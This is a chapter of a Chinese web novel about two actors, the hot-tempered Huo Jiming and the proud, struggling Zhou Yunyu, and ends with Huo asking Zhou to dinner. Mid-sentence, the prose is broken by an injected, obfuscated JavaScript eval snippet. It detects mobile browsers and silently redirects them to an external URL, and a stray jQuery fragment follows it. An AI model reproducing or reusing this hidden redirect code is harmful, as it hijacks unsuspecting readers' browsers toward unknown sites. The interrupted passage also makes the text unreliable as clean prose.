霍既明几乎是落荒而逃般地冲回了自己的独立化妆间,反手“砰”地一声把门关上。
他将后背重重抵在冰凉的门板上,大口喘着气,心脏还在不受控制地狂跳。
其实霍既明的身上没怎么湿,只是在桥边扑救时沾染了些许泥水和溅起的河水,看起来有些狼狈。
他说要换衣服,其实更多的是想找个借口逃离那个让他心绪彻底失控的现场,逃离谢挽书那双仿佛能看透一切的眼睛,更逃离……周韫玉那张苍白脆弱、让他心烦意乱的脸。
他烦躁地抓了一把头上还没取下的古装头套,假发髻被扯得有些歪斜。
脑子里乱糟糟的,全是刚才周韫玉沉下水时那一瞬间的惊悸,以及自己不受控制扑出去抓住他手腕时那冰凉滑腻的触感。
还有……把那人拖上来后,怀里那冰冷、轻颤、却又异常真实的重量……
“啧。”
他低咒一声,试图把这些乱七八糟的画面甩出去。
就在这时,化妆间的门把手被人从外面拧动了一下,接着,门被不紧不慢地推开。
谢挽书那张带着玩世不恭笑容的脸探了进来,然后整个人像没骨头似的倚靠在门边的衣柜上。
双手抱臂,好整以暇地看着明显处于焦躁状态的霍既明,眼神里全是毫不掩饰的揶揄和看热闹的兴味。
“霍既明,”
谢挽书拖长了调子,语气欠揍极了
“你知道你刚才那反应,叫什么吗?”
霍既明正烦得要死,看到这个罪魁祸首之一还敢跟进来调侃他,火气“噌”地就上来了,没好气地吼了一句:
“有屁就放!没屁就滚!”
谢挽书丝毫不在意他的恶劣态度,自顾自地摇头晃脑,用一种吟诗般的夸张语调说道:
“这叫——情到深处,身不由己啊~啧啧啧啧啧啧……”
他发出一连串意味不明的咂嘴声,眼神戏谑地在霍既明身上扫来扫去。
霍既明被他这阴阳怪气的调调侃得头皮发麻,恼羞成怒之下,想也没想,弯腰抄起自己脚上那只沾了泥的戏服靴子,就朝着谢挽书那张俊脸砸了过去!
“哎哟!”
谢挽书夸张地叫了一声,敏捷地一偏头,鞋子擦着他的头发飞了过去,哐当一声砸在了后面的衣架上,挂着的戏服晃了几晃。
“我新做的发型!”
谢挽书一脸心痛地用手扇着自己其实根本没被碰到的头发,表情做作至极。
“年轻人肝火这么旺,小心憋出内伤啊~要不要哥哥带你去去火气?”
“我去你的!”
霍既明气得口不择言,
“我怎么可能喜欢他?!你脑子被门夹了?我就是为讨厌他而生的!这是我的本质!懂吗?!就像你这种为‘打桩’而生的人,会有一天放弃你的‘伟大事业’吗?!你‘人间打桩机’的称号难道是白叫的?!”
他试图用攻击好友来转移焦点和证明自己。
谢挽书闻言,非但不生气,反而笑得更加意味深长。
他慢悠悠地走上前,弯腰捡起那只被霍既明扔出去的靴子,然后,“啪”地一声。
鞋子被他放在了霍既明面前的化妆台上。
谢挽书身体前倾,盯着霍既明闪烁的眼睛,语气无比肯定:
“别狡辩了,霍既明。你不承认也得承认,你就是爱上他了!这跟你是什么‘东西’没关系,感情这东西,来了就是来了,挡不住~”
“我没有!”
霍既明像被踩了尾巴的猫,猛地站起来,梗着脖子反驳,耳朵却不受控制地红了。
“你有!”
谢挽书寸步不让,也站直了身体。
“我没有!”
“你有!”
两个年纪加起来能过半百的大男人,此刻像两个幼稚园的小学鸡,毫无形象地互相梗着脖子对吼,脸红脖子粗,眼看着火药味越来越浓,就要从口头争吵升级为肢体冲突——
“霍哥!导演让我来问问您有没有事?需不需要……”
孙晓咋咋呼呼的声音伴随着门被推开的声音响起,然后戛然而止。
孙晓目瞪口呆地看着化妆间里的景象:他家顶流霍哥正和一个穿着骚包粉衬衫的陌生俊美男人互相扯着对方的衣领。
其实主要是霍既明在扯谢挽书,另一只手还试图去锁对方的喉却被谢挽书灵活躲开,两人都头发凌乱,面红耳赤,活像两个打架打急眼的小学生。
孙晓:“……”
有钱人的世界都这么刺激的吗?打架都这么不注意形象和场合?
霍既明和谢挽书同时僵住,动作定格,然后像触电一样猛地松开对方,迅速整理了一下自己的衣服和头发,试图恢复成年人的体面。
但两人脸上未褪的红潮和凌乱的发丝还是暴露了刚才的激烈战况。
霍既明尴尬地咳嗽一声,板起脸对孙晓吼道:
“没事!看什么看!出去!”
孙晓吓得一缩脖子,连滚带爬地关上门溜了。
另一边,周韫玉被工作人员护送回了酒店房间。
他冲了个热水澡,洗去一身河水的腥气和冰冷,但那种深入骨髓的寒意和疲惫感却没那么容易驱散。
他刚换上干净衣服,房门就被敲响了。来的正是经纪人袁西。
袁西本来也准备这几天来剧组找周韫玉的,结果刚走到半途,就远远看见片场那边乱成一团,仔细一看,正好目睹了黄盈盈落水、周韫玉想也没想就跳下去救人的惊险一幕,吓得他魂飞魄散,一路狂奔过来。
此刻,袁西心有余悸地又拿了条干毛巾,一边絮絮叨叨地给周韫玉擦着还在滴水的头发,一边苦口婆心地劝:
“韫玉啊!我的祖宗哎!你吓死我了!你怎么能自己就往下跳呢!多危险啊!幸好没事幸好没事……”
他念叨完安全问题,话锋一转,又回到了他最关心的事情上,眼睛因为激动而发光。
“不过!韫玉啊,哥之前跟你说的那事,你考虑得怎么样了?”
周韫玉没什么表情地任他擦拭,沉默着。
袁西压低声音,语气更加热切:
“剧组里最近都在传,说霍既明对你态度回暖了不少!虽然不知道他到底抽什么风,但这是好事啊!
不管他到底什么想法,我们都要抓住这个机会!你想想,如果他主动愿意跟你合作,哪怕是稍微释放一点善意,那些攻击你的霍既明粉丝是不是就能消停不少?这对你挽回形象、提升名气绝对是大有好处的!
说不定还能接到更好的资源!”
袁西越说越激动,整张脸都涨红了,像个熟透的猴屁股,仿佛已经看到了周韫玉翻红、钞票滚滚而来的美好未来。
周韫玉安静地听着,抿了抿嘴,长长的睫毛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438382|185001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
垂下,遮住了眼底的情绪。
等袁西说完,他才抬起眼,声音没什么起伏,带着一丝淡淡的嘲讽和无奈:
“那我要怎么做?照你这么说,难道去……勾引他?袁哥,两个男人,这种事我可做不出来。”
“哎哟!什么勾引!哥会让你去做这种事吗?哥只是让你和霍既明关系整好。”
袁西立刻纠正,脸上堆起笑容
“那叫合作!是友好的、互惠互利的合作!展现你的诚意和价值嘛!”
说着,他又笑嘻嘻地拿起毛巾,去给周韫玉擦另一边的头发。
经过落水这场意外,导演也是心有余悸,大手一挥,给全剧组放了一天假,让大家好好压压惊,休息一下,也让黄盈盈能安心去医院做个全面检查,看看有没有伤到哪里。
袁西又待了一会儿,接了个电话,脸色变得凝重起来。
他挂断电话,对周韫玉叹了口气,语气沉重:
“韫玉,我……我得赶紧回医院了,我母亲那边情况不太好,医生让我马上过去。”
周韫玉点点头,表示理解:“快去吧,阿姨的身体要紧。”
袁西匆匆离开后,周韫玉想了想,拿出手机,给袁西转了个红包过去,金额不算大,但也是他的一份心意。
毕竟是他母亲生病,该表示一下关心。
但是……转账成功后,他看着手机屏幕上显示的银行卡余额,心里轻轻叹了口气。那串数字实在有些单薄。
他闭上眼睛,揉了揉眉心,仿佛这样就能暂时逃避现实的经济压力。
他躺倒在酒店柔软的床上,望着天花板,心里却乱糟糟的。
袁西的话还在耳边回响。
和霍既明“合作”?怎么合作?难道真的要他放下所有的自尊和清高,再次眼巴巴地凑上去,讨好那个阴晴不定、反复无常、嘴里从来说不出好话的霍既明?
就像以前那些他不得不参加的饭局,他鼓起勇气去找霍既明,结果却被对方毫不留情地嘲讽和羞辱……
一想到可能要再次经历那种难堪和屈辱,周韫玉就感到一阵反胃和抗拒。
他做不出来这种事情。
他的骄傲和底线不允许。
就在他内心挣扎、烦躁不已的时候,放在枕边的手机突然屏幕亮起,发出了一声清脆的提示音。
周韫玉下意识地拿过手机,解锁屏幕。
一条新的微信好友申请弹了出来。
申请人的微信头像是一个简单的黑色剪影,昵称只有一个冷硬的“H”字母。
但下面的备注信息却让周韫玉的心脏猛地一跳——【我是霍既明】。
周韫玉盯着那条申请信息,看了好久,指尖悬在屏幕上方,犹豫着。
通过?还是不通过?
霍既明为什么要加他?又想干什么?嘲讽他今天跳水的狼狈?还是继续之前未尽的争吵?
最终,他还是深吸一口气,指尖落下,点击了【通过】。
几乎是在通过验证的瞬间,聊天框顶部就显示了“对方正在输入…”。
几秒钟后,一条新消息跳了出来。
H:【在吗?】
周韫玉蹙眉,还没来得及回复。
对面又显示了一会儿“正在输入…”,似乎有些犹豫,最终发过来一条让周韫玉彻底愣住的消息。
H:【一起出来吃个饭吧?】